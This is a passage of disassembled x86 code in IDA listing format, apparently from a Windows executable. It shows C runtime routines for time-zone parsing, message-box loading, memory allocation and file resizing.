; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi

loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 2890A1Eh
		nop
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi

loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 25F0C23h
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi

loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C

loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DB560, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DB560

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DB4A8, ebp
		mov	dword_43CD50, ebx
		mov	dword_43CD40, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DB4B0
		call	near ptr 2850000h
		nop
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DB4B0
		mov	ecx, dword_4DB504
		imul	eax, 3Ch
		cmp	word_4DB4F6, bp
		push	1
		pop	edx
		mov	dword_43CCA8, eax
		mov	dword_4DB4A8, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43CCA8, eax

loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DB54A, bp
		jz	short loc_424887
		mov	eax, dword_4DB558
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43CCAC, edx
		imul	eax, 3Ch
		mov	dword_43CCB0, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------

loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43CCAC, ebp
		mov	dword_43CCB0, ebp

loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43CD34
		push	ebx
		push	offset dword_4DB4B4
		push	edi
		push	dword_4DB344
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43CD34
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------

loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43CD34
		and	byte ptr [eax],	0

loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43CD38
		push	ebx
		push	offset dword_4DB508
		push	edi
		push	dword_4DB344
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43CD38
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------

loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DB55C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44

loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DB55C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DB55C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43CD34
		call	sub_41B5F0
		mov	eax, off_43CD34
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi

loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43CCA8, ecx

loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5

loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------

loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43CCA8
		add	ecx, eax
		mov	dword_43CCA8, ecx

loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------

loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43CCA8
		add	ecx, eax
		mov	dword_43CCA8, ecx

loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------

loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43CCA8, ecx

loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43CCAC, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43CD38
		call	sub_41B5F0
		mov	eax, off_43CD38
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------

loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43CD38
		and	byte ptr [eax],	0

loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43CCAC, edi
		jnz	short loc_424A5E

loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------

loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43CD40
		jnz	short loc_424A7C
		cmp	eax, dword_43CD50
		jz	loc_424B7E

loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DB4A8, edi
		jz	loc_424B54
		movzx	ecx, word_4DB556
		push	ecx
		cmp	word_4DB548, di
		movzx	ecx, word_4DB554
		push	ecx
		movzx	ecx, word_4DB552
		push	ecx
		movzx	ecx, word_4DB550
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DB54C
		push	edi
		push	ecx
		movzx	ecx, word_4DB54E
		push	ecx
		movzx	ecx, word_4DB54A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------

loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DB54E
		push	ecx
		push	edi
		movzx	ecx, word_4DB54A
		push	edi
		push	ecx
		push	eax
		push	edi

loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DB502
		add	esp, 2Ch
		cmp	word_4DB4F4, di
		push	eax
		movzx	eax, word_4DB500
		push	eax
		movzx	eax, word_4DB4FE
		push	eax
		movzx	eax, word_4DB4FC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DB4F8
		push	edi
		push	eax
		movzx	eax, word_4DB4FA
		push	eax
		movzx	eax, word_4DB4F6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx

loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------

loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DB4FA
		push	eax
		push	edi
		movzx	eax, word_4DB4F6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------

loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h

loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43CD44
		mov	eax, dword_43CD54
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2

loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx

loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57

loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43CD48
		setnl	cl

loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------

loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43CD58
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43CD58[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------

loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43CD8C[esi]

loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------

loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax

loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43CD5C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------

loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43CD90[esi]

loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------

loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43CD58[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------

loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43CD8C[eax*4]

loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]

loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD44, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43CD40, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD48, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------

loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD54, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43CCB0
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD58, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43CD58, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------

loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43CD58, eax

loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43CD54, ecx

loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43CD50, ebx

loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DC7E1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C302[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------

loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax

loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------

loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DB564, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26B0000h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DB564, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DB568, eax
		call	esi
		mov	dword_4DB56C, eax

loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DB568
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DB56C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax

loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DB564

loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi

loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DC900
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------

loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C2F4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB

loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DC904
		nop
		call	near ptr 27A0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5

loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB2FC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------

loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]

loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch

loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi

loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------

loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB

loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DC5A0, esi
		jle	short loc_424F05

loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DB598
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi

loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DB598
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DB598
		pop	ecx
		and	dword ptr [eax+esi*4], 0

loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DC5A0
		jl	short loc_424EC1

loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DC6C0
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax

loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi

loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------

loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB27C, 5
		jnz	short loc_424FDC
		mov	dword_4DB278, 0Dh

loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh

loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------

loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		nop
		call	near ptr 25F0000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB278, 0Dh
		nop
		call	near ptr 2680835h
		mov	dword_4DB27C, eax

loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------

loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB278, 9

loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh

loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069

loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax

loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]

loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]

loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

